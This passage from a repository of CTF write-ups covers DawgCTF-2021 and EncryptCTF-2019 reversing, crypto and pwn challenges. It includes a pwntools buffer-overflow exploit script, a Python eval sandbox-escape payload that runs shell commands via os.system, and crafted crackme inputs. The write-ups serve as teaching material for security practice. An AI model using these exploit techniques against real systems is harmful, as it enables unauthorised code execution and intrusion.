├── CTF ├── DawgCTF-2021 │ ├── Binary Bomb (Phase 1-4).md │ ├── Bofit (Pwn).md │ ├── Cookin the Ramen (Crypto).md │ ├── No Step On Snek (Pwn).md │ └── Two Truths and a Fib (Misc).md ├── EncryptCTF-2019 │ ├── crackme01.md │ ├── crackme03.md │ ├── pwn0.md │ ├── pwn1.md │ ├── pwn2.md │ └── pwn4.md └── SunshineCTF-2019 │ ├── Patches Punches.md │ ├── Return To Mania.md │ ├── TimeWarp.md │ └── WrestlerBook.md ├── FreeBSD ├── PS4 4.55 BPF Race Condition Kernel Exploit Writeup.md └── PS4 5.05 BPF Double Free Kernel Exploit Writeup.md ├── LICENSE ├── PS4 ├── "NamedObj" 4.05 Kernel Exploit Writeup.md ├── 4.0x WebKit Exploit Writeup.md └── NamedObj Kernel Exploit Overview.md ├── README.md └── WebKit └── setAttributeNodeNS UAF Write-up.md /CTF/DawgCTF-2021/Binary Bomb (Phase 1-4).md: -------------------------------------------------------------------------------- 1 | ## Binary Bomb (Phase 1-4, 25 + 50 + 75 + 150pts) 2 | 3 | #### Description 4 | 5 | Welcome to the CyberDawgs Binary Bomb challenge series! The "bbomb" binary contains a series of mini reversing challenges broken into 9 phases. Each phase becomes incresingly more difficult, but it is not required to solve a phase to move onto the next. Simply press enter for a phase's input to skip it. Additionally, known phase solutions can be stored in a file named "flags.txt". See the binary's welcome message for the format and requirements. When submitting to this scoreboard, wrap the phase's solution in DawgCTF{}. Happy reversing! Author: treap_treap 6 | 7 | #### Phase 1 8 | 9 | **Description** 10 | 11 | Starting off easy... reversing (things) is fun! 12 | 13 | **Solution** 14 | 15 | The binary contains all 9 phases + a bonus. Phase 1 as the description suggests is very trivial. By looking at the decompilation for `phase1`, we see: 16 | 17 | ```c 18 | puts(str: "\nStarting off easy... reversing…") 19 | int32_t var_34 = 1 20 | char* rax = calloc(n: 0x29, elem_size: 1) 21 | getInput(1, arg1, data_2831, 0) 22 | int32_t var_30 = 0 23 | int32_t rax_3 = strlen(rax) 24 | while (true) 25 | if (sx.q(var_30) u>= strlen("Gn1r7s_3h7_Gn15Rev3R")) 26 | break 27 | if (sx.q(var_30) u>= strlen(rax)) 28 | break 29 | if (*("Gn1r7s_3h7_Gn15Rev3R" + sx.q(var_30)) != *(rax + sx.q(rax_3 - var_30) - 1)) 30 | var_34 = 0 31 | var_30 = var_30 + 1 32 | if (sx.q(var_30) != strlen("Gn1r7s_3h7_Gn15Rev3R")) 33 | var_34 = 0 34 | free(mem: rax) 35 | return zx.q(var_34) 36 | ``` 37 | 38 | It's just a string reversal. So `R3veR51nG_7h3_s7r1nG` is the flag string. 39 | 40 | 41 | 42 | #### Phase 2 43 | 44 | **Description** 45 | 46 | Can you help me find my lost key so I can read my string? 47 | 48 | **Solution** 49 | 50 | This one's also fairly straightforward and common. 51 | 52 | ```c 53 | puts(str: "\nCan you help me find my lost k…") 54 | int32_t var_30 = 1 55 | char* rax = calloc(n: 0x29, elem_size: 1) 56 | getInput(2, arg1, data_2831, 0) 57 | int32_t var_2c = 0 58 | while (true) 59 | if (sx.q(var_2c) u>= strlen("Dk52m6WZw@s6w0dIZh@2m5a")) 60 | break 61 | if (sx.q(var_2c) u>= strlen(rax)) 62 | break 63 | if (*("Dk52m6WZw@s6w0dIZh@2m5a" + sx.q(var_2c)) != (*(rax + sx.q(var_2c)) ^ 5)) 64 | var_30 = 0 65 | var_2c = var_2c + 1 66 | if (sx.q(var_2c) != strlen("Dk52m6WZw@s6w0dIZh@2m5a")) 67 | var_30 = 0 68 | free(mem: rax) 69 | return zx.q(var_30) 70 | ``` 71 | 72 | As you can see with the presence of `^`, it's an XOR operation against a static key (5). By simply reversing the XOR, you can get the flag, being `An07h3R_rEv3r5aL_mE7h0d`. 73 | 74 | 75 | 76 | #### Phase 3 77 | 78 | **Description** 79 | 80 | Reflections? Rotations? Translations? This is starting to sound like geometry... 81 | 82 | **Solution** 83 | 84 | Phase 3 was where it started getting a bit more interesting. Since this challenge is not as trivial as the first two, I'll put my reversed / cleaned up code of the relevant functions instead of just decompiler output. 85 | 86 | ```c 87 | int64_t phase3(char *savedflag) 88 | { 89 | char in[0x29]; 90 | getInput(stdin, savedflag, "%s", &in); 91 | 92 | for(int i = 0; i < strlen(in); i++) 93 | { 94 | char transformedChar = c; 95 | transformedChar = func3_1(transformedChar); 96 | transformedChar = func3_2(transformedChar); 97 | in[i] = transformedChar; 98 | } 99 | 100 | if(strcmp(in, "\"_9~Jb0!=A`G!06qfc8'_20uf6`2%7") == 0) 101 | { 102 | return 1; // success 103 | } 104 | 105 | return 0; 106 | } 107 | 108 | char func3_1(char in) 109 | { 110 | char base; 111 | 112 | if(in > 0x40 && in < 0x5A) 113 | { 114 | in = in - 0xD; 115 | base = 0x1A; 116 | 117 | if(in > 0x40) 118 | base = 0; 119 | 120 | in = base + in; 121 | } 122 | 123 | if(in > 0x60 && in < 0x7A) 124 | { 125 | in = in - 0xD; 126 | base = 0x1A; 127 | 128 | if(in > 0x60) 129 | base = 0; 130 | 131 | in = base + in; 132 | } 133 | 134 | return in; 135 | } 136 | 137 | char func3_2(char in) 138 | { 139 | char base; 140 | 141 | if(in > 0x20 && in != 0x7F) 142 | { 143 | in = in - 0x2F; 144 | 145 | if(in > 0x20) 146 | base = 0; 147 | else 148 | base = 0x5E; 149 | 150 | in = base + in; 151 | } 152 | 153 | return in; 154 | } 155 | ``` 156 | 157 | Basically it applies to transformations on each character. It first runs a pass on letters (the uppercase range in `0x40 - 0x5A`, the lowercase in `0x60 - 0x7A`). It then runs another pass on all characters. We could implement a function to reverse these transformations, but for the sake of time we can just bruteforce it by throwing our reversed functions into a program and writing a loop to brute each character. 158 | 159 | ```c 160 | /* func3_1 and func3_2 here */ 161 | 162 | int main() 163 | { 164 | char ctfStr[] = "\"_9~Jb0!=A`G!06qfc8'_20uf6`2%7"; 165 | int ctfStrLen = strlen(ctfStr); 166 | 167 | for(int i = 0; i < ctfStrLen; i++) 168 | { 169 | for(int c = 0x20; c < 0x7F; c++) 170 | { 171 | char transformedChar = c; 172 | transformedChar = transform_one(transformedChar); 173 | transformedChar = transform_two(transformedChar); 174 | 175 | if(transformedChar == ctfStr[i]) 176 | { 177 | printf("%c", c); 178 | } 179 | } 180 | } 181 | 182 | printf("\nDone!\n"); 183 | 184 | return 0; 185 | } 186 | ``` 187 | 188 | Which gives us: `D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs`. 189 | 190 | 191 | 192 | #### Phase 4 193 | 194 | **Description** 195 | 196 | This is the phase you have been waiting for... one may say it's the golden stage! 197 | 198 | Let's switch things up! Numerical inputs map to line numbers in rockyou.txt, and each word is separated by a '_' (if the phase's solution is 4 5, the flag would be DawgCTF{password_iloveyou}) 199 | 200 | rockyou.txt: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt 201 | 202 | **Solution** 203 | 204 | This phase took quite a bit more time to get through than the previous challenges, and was my favorite phase that I solved. Again, below is my reversed code. 205 | 206 | ```c 207 | int64_t func4(int arg) 208 | { 209 | if(arg <= 0) 210 | return 0; 211 | else if(arg != 1) 212 | return func4(arg - 2) + func4(arg - 1); 213 | return 1; 214 | } 215 | 216 | int64_t phase4(char *savedflag) 217 | { 218 | int success = 1; 219 | int inputs[4]; 220 | int correct[4]; 221 | 222 | getInput(stdin, savedflag, "%d%d%d%d", &in); 223 | 224 | correct[0] = 1; 225 | correct[1] = 0x7B; 226 | correct[2] = 0x3B18; 227 | correct[3] = 0x1C640D; 228 | 229 | for(int i = 0; i < 4; i++) 230 | { 231 | if(func4(inputs[i]) != (int64_t)(correct[i]) * func4(0xA)) 232 | success = 0; 233 | } 234 | 235 | return success; 236 | } 237 | ``` 238 | 239 | I'm not a math person so I didn't put it together right away, but after doing some searching I discovered `func4` is a fibonacci calculation function. Given the fact that using large values would be very expensive computationally, we can reasonably assume the input keys are going to be small, likely sub-100. By running a similar function to phase 3, we can bruteforce the input key. 240 | 241 | ```c 242 | int correct[4]; 243 | 244 | correct[0] = 1; 245 | correct[1] = 0x7B; 246 | correct[2] = 0x3B18; 247 | correct[3] = 0x1C640D; 248 | 249 | int key = fibonacci(0xA); 250 | 251 | for(int i = 0; i < 4; i++) 252 | { 253 | for(int j = 5; j < 100; j++) 254 | { 255 | if(fibonacci(j) == key * correct[i]) 256 | { 257 | printf("input %d = %d\n", i, j); 258 | break; 259 | } 260 | } 261 | } 262 | ``` 263 | 264 | Which gives us: 265 | 266 | ``` 267 | input 0 = 10 268 | input 1 = 20 269 | input 2 = 30 270 | input 3 = 40 271 | ``` 272 | 273 | Using the wordlist provided, we get the following words: 274 | 275 | ``` 276 | 10 = abc123 277 | 20 = qwerty 278 | 30 = anthony 279 | 40 = 123123 280 | ``` 281 | 282 | Therefore the flag is: `abc123_qwerty_anthony_123123` 283 | 284 | 285 | 286 | #### Final flags 287 | 288 | Phase 1: `DawgCTF{R3veR51nG_7h3_s7r1nG}` 289 | 290 | Phase 2: `DawgCTF{An07h3R_rEv3r5aL_mE7h0d}` 291 | 292 | Phase 3: `DawgCTF{D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs}` 293 | 294 | Phase 4: `DawgCTF{abc123_qwerty_anthony_123123}` -------------------------------------------------------------------------------- /CTF/DawgCTF-2021/Bofit (Pwn).md: -------------------------------------------------------------------------------- 1 | ## Bofit(Pwn, 125pts) 2 | 3 | #### Challenge Description 4 | 5 | Because Bop It is copyrighted, apparently. Author: trashcanna. 6 | 7 | nc umbccd.io 4100 8 | 9 | #### Overview 10 | 11 | We're presented with a binary and source code (which is always nice to see in pwn challenges). 12 | 13 | ```c 14 | // ... 15 | void win_game(){ 16 | char buf[100]; 17 | FILE* fptr = fopen("flag.txt", "r"); 18 | fgets(buf, 100, fptr); 19 | printf("%s", buf); 20 | } 21 | 22 | int play_game(){ 23 | char c; 24 | char input[20]; 25 | int choice; 26 | bool correct = true; 27 | int score = 0; 28 | srand(time(0)); 29 | while(correct){ 30 | choice = rand() % 4; 31 | switch(choice){ 32 | case 0: 33 | printf("BOF it!\n"); 34 | c = getchar(); 35 | if(c != 'B') correct = false; 36 | while((c = getchar()) != '\n' && c != EOF); 37 | break; 38 | 39 | case 1: 40 | printf("Pull it!\n"); 41 | c = getchar(); 42 | if(c != 'P') correct = false; 43 | while((c = getchar()) != '\n' && c != EOF); 44 | break; 45 | 46 | case 2: 47 | printf("Twist it!\n"); 48 | c = getchar(); 49 | if(c != 'T') correct = false; 50 | while((c = getchar()) != '\n' && c != EOF); 51 | break; 52 | 53 | case 3: 54 | printf("Shout it!\n"); 55 | gets(input); 56 | if(strlen(input) < 10) correct = false; 57 | break; 58 | } 59 | score++; 60 | } 61 | return score; 62 | } 63 | 64 | void welcome(){ 65 | char input; 66 | printf("Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n"); 67 | printf("You'll have a second to respond to a series of commands\n"); 68 | printf("BOF it: Reply with a capital \'B\'\n"); 69 | printf("Pull it: Reply with a capital \'P\'\n"); 70 | printf("Twist it: Reply with a capital \'T\'\n"); 71 | printf("Shout it: Reply with a string of at least 10 characters\n"); 72 | printf("BOF it to start!\n"); 73 | input = getchar(); 74 | while(input != 'B'){ 75 | printf("BOF it to start!\n"); 76 | input = getchar(); 77 | } 78 | while((input = getchar()) != '\n' && input != EOF); 79 | } 80 | 81 | int main(){ 82 | int score = 0; 83 | welcome(); 84 | score = play_game(); 85 | printf("Congrats! Final score: %d\n", score); 86 | return 0; 87 | } 88 | 89 | ``` 90 | 91 | In the `Shout it` switch case, we can see the usage of `gets()`, which is impossible to use safely. As such, this is a classic buffer overflow challenge. To see exactly what we're dealing with, we'll run the binary through checksec. 92 | 93 | ``` 94 | $ ./checksec --file=bofit 95 | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE 96 | Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 75) Symbols No0 3 bofit 97 | ``` 98 | 99 | 100 | 101 | #### Solution 102 | 103 | The binary is a 64-bit ELF, but there's no PIE enabled. The stack is also executable, so you could shellcode to get a shell here if you really wanted, but we don't need to since the challenge provides a win function. Because there's no PIE and no stack cookies, we can just smash the return pointer and make it return into `win_game()`. First we'll use a basic cyclic pattern to determine the RIP overwrite location using GEF. 104 | 105 | ``` 106 | gef➤ r 107 | Starting program: bofit 108 | Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes 109 | You'll have a second to respond to a series of commands 110 | BOF it: Reply with a capital 'B' 111 | Pull it: Reply with a capital 'P' 112 | Twist it: Reply with a capital 'T' 113 | Shout it: Reply with a string of at least 10 characters 114 | BOF it to start! 115 | B 116 | Twist it! 117 | T 118 | Pull it! 119 | P 120 | Twist it! 121 | T 122 | Shout it! 123 | AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ 124 | Shout it! 125 | a 126 | Program received signal SIGSEGV, Segmentation fault. 127 | 0x000000004f4f4f4f in ?? () 128 | ``` 129 | 130 | Here, "OOOO" smashed the instruction pointer, so we need 56 bytes of garbage then the 4 bytes of the win function address. 131 | 132 | ``` 133 | $ readelf -Ws bofit | grep "win_game" 134 | 71: 0000000000401256 83 FUNC GLOBAL DEFAULT 15 win_game 135 | ``` 136 | 137 | Our final payload then becomes: `"\x90" * 56 + "\x56\x12\x40\x00"`. 138 | 139 | ```python 140 | from pwn import * 141 | context(arch = 'amd64', os = 'linux') 142 | 143 | #io = process(['./bofit']) 144 | io = remote('umbccd.io', 4100) 145 | 146 | for x in range(0, 7): 147 | print(io.recvline()) 148 | 149 | io.sendline("B") 150 | 151 | while True: 152 | line = io.recvline() 153 | print(line) 154 | 155 | if b"BOF it" in line: 156 | io.sendline("B") 157 | 158 | if b"Pull it" in line: 159 | io.sendline("P") 160 | 161 | if b"Twist it" in line: 162 | io.sendline("T") 163 | 164 | if b"Shout it" in line: 165 | io.sendline("\x90"*56 + "\x56\x12\x40\x00") 166 | io.recvline() 167 | io.sendline("garbage") 168 | ``` 169 | 170 | Running it gives us this: 171 | 172 | ``` 173 | $ python3 solve.py 174 | [+] Opening connection to umbccd.io on port 4100: Done 175 | b'Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n' 176 | b"You'll have a second to respond to a series of commands\n" 177 | b"BOF it: Reply with a capital 'B'\n" 178 | b"Pull it: Reply with a capital 'P'\n" 179 | b"Twist it: Reply with a capital 'T'\n" 180 | b'Shout it: Reply with a string of at least 10 characters\n' 181 | b'BOF it to start!\n' 182 | b'Twist it!\n' 183 | b'Pull it!\n' 184 | b'Twist it!\n' 185 | b'Shout it!\n' 186 | b'BOF it!\n' 187 | b'DawgCTF{n3w_h1gh_sc0r3!!}\n' 188 | ``` 189 | 190 | 191 | 192 | #### Flag 193 | 194 | ``` 195 | DawgCTF{n3w_h1gh_sc0r3!!} 196 | ``` 197 | 198 | -------------------------------------------------------------------------------- /CTF/DawgCTF-2021/Cookin the Ramen (Crypto).md: -------------------------------------------------------------------------------- 1 | ## Cookin the Ramen (Crypto, 50pts) 2 | 3 | #### Challenge Description 4 | 5 | Apparently we made cookin the books too hard, here's some ramen to boil as a warmup: .--- ...- ...- . ....- ...- ... ..--- .. .-. .-- --. -.-. .-- -.- -.-- -. -... ..--- ..-. -.-. ...- ...-- ..- --. .--- ... ..- .. --.. -.-. .... -- ...- -.- . ..- -- - . -. ...- -. ..-. --- -.-- --.. - .-.. .--- --.. --. --. ...-- ... -.-. -.- ..... .--- ..- --- -. -.- -..- -.- --.. -.- ...- ..- .-- - -.. .--- -... .... ..-. --. --.. -.- -..- .. --.. .-- ...- ... -- ...-- --.- --. ..-. ... .-- --- .--. .--- ..... Author: trashcanna 6 | 7 | #### Solution 8 | 9 | The string given to us is how morse code is commonly represented. By decoding it, we get: 10 | 11 | ``` 12 | JVVE4VS2IRWGCWKYNB2FCV3UGJSUIZCHMVKEUMTENVNFOYZTLJZGG3SCK5JUONKXKZKVUWTDJBHFGZKXIZWVSM3QGFSWOPJ5 13 | ``` 14 | 15 | The next good step to take when it's not immediately obvious what the cipher is to use the infinitely useful [CyberChef](https://gchq.github.io) tool, specifically, the magic operator. This operator will try a bunch of things for us and automagically select the most promising ones. Luckily, magic came through for us and discovered the cipher. It turns out to be morse code -> base32 -> base64 -> base58. 16 | 17 | ``` 18 | morse -> 19 | .--- ...- ...- . ....- ...- ... ..--- .. .-. .-- --. -.-. .-- -.- -.-- -. -... ..--- ..-. -.-. ...- ...-- ..- --. .--- ... ..- .. --.. -.-. .... -- ...- -.- . ..- -- - . -. ...- -. ..-. --- -.-- --.. - .-.. .--- --.. --. --. ...-- ... -.-. -.- ..... .--- ..- --- -. -.- -..- -.- --.. -.- ...- ..- .-- - -.. .--- -... .... ..-. --. --.. -.- -..- .. --.. .-- ...- ... -- ...-- --.- --. ..-. ... .-- --- .--. .--- ..... 20 | 21 | -> base32 -> 22 | JVVE4VS2IRWGCWKYNB2FCV3UGJSUIZCHMVKEUMTENVNFOYZTLJZGG3SCK5JUONKXKZKVUWTDJBHFGZKXIZWVSM3QGFSWOPJ5 23 | 24 | -> base 64 -> 25 | MjNVZDlaYXhtQWt2eDdGeTJ2dmZWc3ZrcnBWSG5WVUZZcHNSeWFmY3p1eg== 26 | 27 | -> base58 -> 28 | 23Ud9ZaxmAkvx7Fy2vvfVsvkrpVHnVUFYpsRyafczuz 29 | 30 | -> plaintext -> 31 | DawgCTF{0k@y_r3al_b@by's_f1r5t} 32 | ``` 33 | 34 | The recipe can be found [here](https://gchq.github.io/CyberChef/#recipe=From_Morse_Code('Space','Line%20feed')From_Base32('A-Z2-7%3D',false)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)&input=Li0tLSAuLi4tIC4uLi0gLiAuLi4uLSAuLi4tIC4uLiAuLi0tLSAuLiAuLS4gLi0tIC0tLiAtLi0uIC4tLSAtLi0gLS4tLSAtLiAtLi4uIC4uLS0tIC4uLS4gLS4tLiAuLi4tIC4uLi0tIC4uLSAtLS4gLi0tLSAuLi4gLi4tIC4uIC0tLi4gLS4tLiAuLi4uIC0tIC4uLi0gLS4tIC4gLi4tIC0tIC0gLiAtLiAuLi4tIC0uIC4uLS4gLS0tIC0uLS0gLS0uLiAtIC4tLi4gLi0tLSAtLS4uIC0tLiAtLS4gLi4uLS0gLi4uIC0uLS4gLS4tIC4uLi4uIC4tLS0gLi4tIC0tLSAtLiAtLi0gLS4uLSAtLi0gLS0uLiAtLi0gLi4uLSAuLi0gLi0tIC0gLS4uIC4tLS0gLS4uLiAuLi4uIC4uLS4gLS0uIC0tLi4gLS4tIC0uLi0gLi4gLS0uLiAuLS0gLi4uLSAuLi4gLS0gLi4uLS0gLS0uLSAtLS4gLi4tLiAuLi4gLi0tIC0tLSAuLS0uIC4tLS0gLi4uLi4). 35 | 36 | #### Flag 37 | 38 | ``` 39 | DawgCTF{0k@y_r3al_b@by's_f1r5t} 40 | ``` 41 | -------------------------------------------------------------------------------- /CTF/DawgCTF-2021/No Step On Snek (Pwn).md: -------------------------------------------------------------------------------- 1 | ## No Step On Snek (Pwn, 75pts) 2 | 3 | #### Challenge Description 4 | 5 | I heard you guys like python pwnables. Author: trashcanna 6 | 7 | nc umbccd.io 4000 8 | 9 | #### Overview 10 | 11 | When connecting to the given credentials, you're presented with a maze. 12 | 13 | ``` 14 | Welcome to the aMAZEing Maze 15 | Your goal is to get from one side of the board to the other. 16 | Your character is represented by "OO" and the finish will be "FF" 17 | W/w - Move up! 18 | A/a - Move left! 19 | S/s - Move down! 20 | D/d - Move right! 21 | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ 22 | |OO | | | 23 | + +--+--+ +--+ +--+--+ + + +--+--+--+--+ + 24 | | | | | | | | | | 25 | + + +--+--+ +--+--+--+ +--+ + +--+--+ + + 26 | | | | | | | | 27 | + +--+--+ +--+--+--+ +--+ +--+--+ + +--+--+ 28 | | | | | | | | | 29 | +--+--+--+--+--+--+ +--+--+ +--+--+ + + + + 30 | | | | | | | | | 31 | + +--+--+--+--+ + +--+ + + +--+--+--+ + + 32 | | | | | | | | | 33 | +--+--+--+ + +--+--+ + + +--+--+--+--+--+ + 34 | | | | | | | | | 35 | + +--+--+--+--+ + +--+--+ + + +--+--+ +--+ 36 | | | | | | | | | | | 37 | + +--+ + + +--+--+ + +--+ +--+ + +--+ + 38 | | | | | | | | | 39 | +--+ +--+ +--+--+ +--+ +--+--+ +--+--+--+ + 40 | | | | | | | | | 41 | + +--+ +--+--+ +--+ +--+ +--+--+--+--+ + + 42 | | | | | | | | | | | 43 | + + + + + +--+ + + +--+--+--+ + +--+ + 44 | | | | | | | | | | | 45 | + +--+--+--+--+ + +--+--+--+--+ + + + +--+ 46 | | | | | | | | | | | 47 | + + +--+--+ + +--+--+ + + +--+ + +--+ + 48 | | | | | | | | | | | | 49 | + + + +--+--+--+ + + +--+--+ +--+ + + + 50 | | | | | | | | | | | | | 51 | + + + + +--+ + + +--+ + +--+ +--+--+ + 52 | | | | | | FF| 53 | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ 54 | 55 | 56 | Make your move: 57 | ``` 58 | 59 | 60 | 61 | #### Solution 62 | 63 | Originally I thought this may be a "game2pwn" challenge where after solving the maze you're presented with the issue. The challenge is a bit more interesting than that though. By providing garbage input to "Make your move", you'll notice you can trigger a python exception. 64 | 65 | ``` 66 | Make your move: A B 67 | Traceback (most recent call last): 68 | File "/home/challuser/nosteponsnek.py", line 73, in 69 | __main__() 70 | File "/home/challuser/nosteponsnek.py", line 69, in __main__ 71 | still_playing = make_move(maze) 72 | File "/home/challuser/nosteponsnek.py", line 27, in make_move 73 | move = input("Make your move: ") 74 | File "", line 1 75 | A B 76 | ^ 77 | SyntaxError: unexpected EOF while parsing 78 | ``` 79 | 80 | This indicates the issue is a python eval attack. By using the `warning.catch_warnings` class (which happens to be 59, which matches up with some other writeups I found for similar challenges), we can run shell commands. For instance, we can run `ls` to try to determine where the flag is located. 81 | 82 | ``` 83 | Make your move: ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') 84 | flag.txt nosteponsnek.py 85 | ``` 86 | 87 | Now we can simply exploit the issue again to get the flag (and exfil the script if you wanted to). 88 | 89 | ``` 90 | Make your move: ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('cat flag.txt') 91 | DawgCTF{bUt_iT'5_c@ll3d_1nput} 92 | ``` 93 | 94 | 95 | 96 | #### Flag 97 | 98 | ``` 99 | DawgCTF{bUt_iT'5_c@ll3d_1nput} 100 | ``` 101 | 102 | -------------------------------------------------------------------------------- /CTF/DawgCTF-2021/Two Truths and a Fib (Misc).md: -------------------------------------------------------------------------------- 1 | ## Two Truths and a Fib (Misc, 100pts) 2 | 3 | #### Challenge Description 4 | 5 | Can you catch the fibber? Author: Trashcanna 6 | 7 | nc umbccd.io 6000 8 | 9 | 10 | 11 | #### Overview 12 | 13 | When connecting to the given credentials, we're prompted with the following: 14 | 15 | ``` 16 | $ nc umbccd.io 6000 17 | Welcome to two truths and a fib! You'll be given three numbers: 18 | one of them will be a fibonacci number and two of them will not. 19 | It's your job to tell which is which and send back the fibonacci. 20 | Example: 21 | 12, 8, 4 22 | Which number is a fib? 23 | >> 8 24 | Correct! 25 | 26 | 27 | [71268326980317, 17231358458698, 7778742049] 28 | >> 29 | Oof, too slow! 30 | ``` 31 | 32 | We simply have to take the three numbers given to us, check each one to see if it's a fibonacci number, and give that number back. But we have to do it fast, if we take more than a second, the connection is terminated. Scripting comes to the rescue. 33 | 34 | 35 | 36 | #### Solution 37 | 38 | Interestingly, I initially wrote a script that utilized pwntools for communication with the server. Within 10 questions it would fail citing a parsing bug on the python script running on the CTF server. 39 | 40 | ``` 41 | >> Traceback (most recent call last): 42 | File "/home/challuser/twotruthsfib.py", line 76, in 43 | solution = int(solution) 44 | 45 | ValueError: invalid literal for int() with base 10: '' 46 | ``` 47 | 48 | I'm assuming this is because something in the pwntools pipeline was too slow and our connection got terminated or something, but I didn't investigate further. Instead, I just wrote a new script using raw sockets. 49 | 50 | ```python 51 | import socket 52 | import math 53 | 54 | # A utility function that returns true if x is perfect square 55 | def isPerfectSquare(x): 56 | s = int(math.sqrt(x)) 57 | return s*s == x 58 | 59 | # Returns true if n is a Fibinacci Number, else false 60 | def isFibonacci(n): 61 | # n is Fibinacci if one of 5*n*n + 4 or 5*n*n - 4 or both 62 | # is a perferct square 63 | return isPerfectSquare(5*n*n + 4) or isPerfectSquare(5*n*n - 4) 64 | 65 | ip='umbccd.io' 66 | port=6000 67 | 68 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 69 | s.connect((ip, port)) 70 | 71 | def find_between(s, start, end): 72 | return (s.split(start))[1].split(end)[0] 73 | 74 | while True: 75 | data = s.recv(1024).decode("utf-8") 76 | print(data) 77 | 78 | if "[" in data and "," in data: 79 | options = find_between(data, "[", "]") 80 | optionList = options.split(", ") 81 | 82 | fibber = "0" 83 | 84 | for option in optionList: 85 | if(isFibonacci(int(option))): 86 | fibber = option 87 | 88 | fibber += "\n" 89 | s.send(str.encode(fibber)) 90 | ``` 91 | 92 | After 100 successful answers, the server will give us the flag: 93 | 94 | ``` 95 | Congrats! Here's your flag: DawgCTF{jU$T_l1k3_w3lc0me_w33k} 96 | ``` 97 | 98 | 99 | 100 | #### Flag 101 | 102 | ``` 103 | DawgCTF{jU$T_l1k3_w3lc0me_w33k} 104 | ``` 105 | 106 | -------------------------------------------------------------------------------- /CTF/EncryptCTF-2019/crackme01.md: -------------------------------------------------------------------------------- 1 | ## crackme01 (RE, 75pts) 2 | 3 | #### Challenge Description 4 | 5 | this is crackme01. crackme01 is a crackme. so crackme! Author: @X3eRo0 6 | 7 | #### Overview 8 | 9 | This challenge was pretty simple, it was just a bunch of `printf()`'s that would build the string, each one behind a check against a byte of the input. 10 | 11 | ```c 12 | printf("en"); 13 | ... 14 | printf("cry"); 15 | if ( v7 != 65 ) 16 | exit(0); 17 | printf("ptC"); 18 | if ( v8 != 32 ) 19 | exit(0); 20 | printf("TF{"); 21 | if ( v9 != 33 ) 22 | exit(0); 23 | printf("gdb"); 24 | if ( v10 != 101 ) 25 | exit(0); 26 | printf("_or"); 27 | if ( v11 != 25 ) 28 | exit(0); 29 | printf("_r2?"); 30 | if ( v12 != 9 ) 31 | exit(0); 32 | puts("}"); 33 | ``` 34 | 35 | Flag: 36 | 37 | ``` 38 | encryptCTF{gdb_or_r2?} 39 | ``` -------------------------------------------------------------------------------- /CTF/EncryptCTF-2019/crackme03.md: -------------------------------------------------------------------------------- 1 | ## crackme03 (RE, 150pts) 2 | 3 | #### Challenge Description 4 | 5 | tik-tok tik-tok can you defuse the bomb? 6 | 7 | author: codacker 8 | 9 | ``` 10 | nc 104.154.106.182 7777 11 | ``` 12 | 13 | #### Overview 14 | 15 | This challenge has a remote host unlike the first two, and the local binary doesn't contain the flag. After passing input that satisfies all the conditions, a flag file is read and printed out to you. The premise is fun - you must diffuse a bomb by passing 5 input checks, each progressively a little more difficult than the last. These checks are all stored in a table, and are as follows: 16 | 17 | ``` 18 | #1: sub_1286 19 | #2: sub_12BD 20 | #3: sub_12E6 21 | #4: sub_1392 22 | #5: sub_1410 23 | ``` 24 | 25 | We don't want to reach the "boom" function, which is `sub_1258`. 26 | 27 | #### First check 28 | 29 | The first check is `sub_1286` and just compares the first part of the string with a literal `"CRACKME02"`, so passing this check is easy. 30 | 31 | ```assembly 32 | lea edx, (aCrackme02 - 4000h)[eax] ; "CRACKME02" 33 | push edx ; s2 34 | push [ebp+s1] ; s1 35 | mov ebx, eax 36 | call _strcmp 37 | add esp, 10h 38 | test eax, eax 39 | jz short loc_12B7 40 | call sub_1258 41 | ``` 42 | 43 | Input so far: 44 | 45 | ``` 46 | CRACKME02\n 47 | ``` 48 | 49 | #### Second check 50 | 51 | The second check is `sub_12BD` and is also fairly easy, we just need to pass an integer of `0xDEADBEEF`. 52 | 53 | ```assembly 54 | mov [ebp+var_C], 0DEADBEEFh 55 | mov eax, [ebp+arg_0] 56 | mov eax, ds:(off_4000 - 4000h)[eax] 57 | cmp [ebp+var_C], eax 58 | jz short loc_12E3 59 | call sub_1258 60 | ``` 61 | 62 | Input so far: 63 | 64 | ``` 65 | CRACKME02\n\xEF\xBE\xAD\xDE\n 66 | ``` 67 | 68 | #### Third check 69 | 70 | If we decompile the third check, which is `sub_12E6`, we'll see the following: 71 | 72 | ```c 73 | int result; // eax 74 | unsigned int v2; // et1 75 | size_t i; // [esp+10h] [ebp-28h] 76 | char s[4]; // [esp+17h] [ebp-21h] 77 | unsigned int v5; // [esp+2Ch] [ebp-Ch] 78 | 79 | v5 = __readgsdword(0x14u); 80 | strcpy(s, "ZXytUb9fl78evgJy3KJN"); 81 | for ( i = 0; strlen(s) > i; ++i ) 82 | { 83 | if ( s[i] != *(_BYTE *)(i + a1) ) 84 | sub_1258(); 85 | } 86 | v2 = __readgsdword(0x14u); 87 | result = v2 ^ v5; 88 | if ( v2 != v5 ) 89 | sub_1670(); 90 | return result; 91 | ``` 92 | 93 | Essentially, we just need to make sure we pass `"ZXytUb9fl78evgJy3KJN"`. The XOR operation is for the stack cookie and is irrelevant to the challenge. 94 | 95 | Input so far: 96 | 97 | ``` 98 | CRACKME02\n\xEF\xBE\xAD\xDE\nZXytUb9fl78evgJy3KJN\n 99 | ``` 100 | 101 | #### Fourth check 102 | 103 | If we decompile `sub_1392`, which is the fourth check, we get: 104 | 105 | ```c 106 | int v1; // ST1C_4 107 | 108 | if 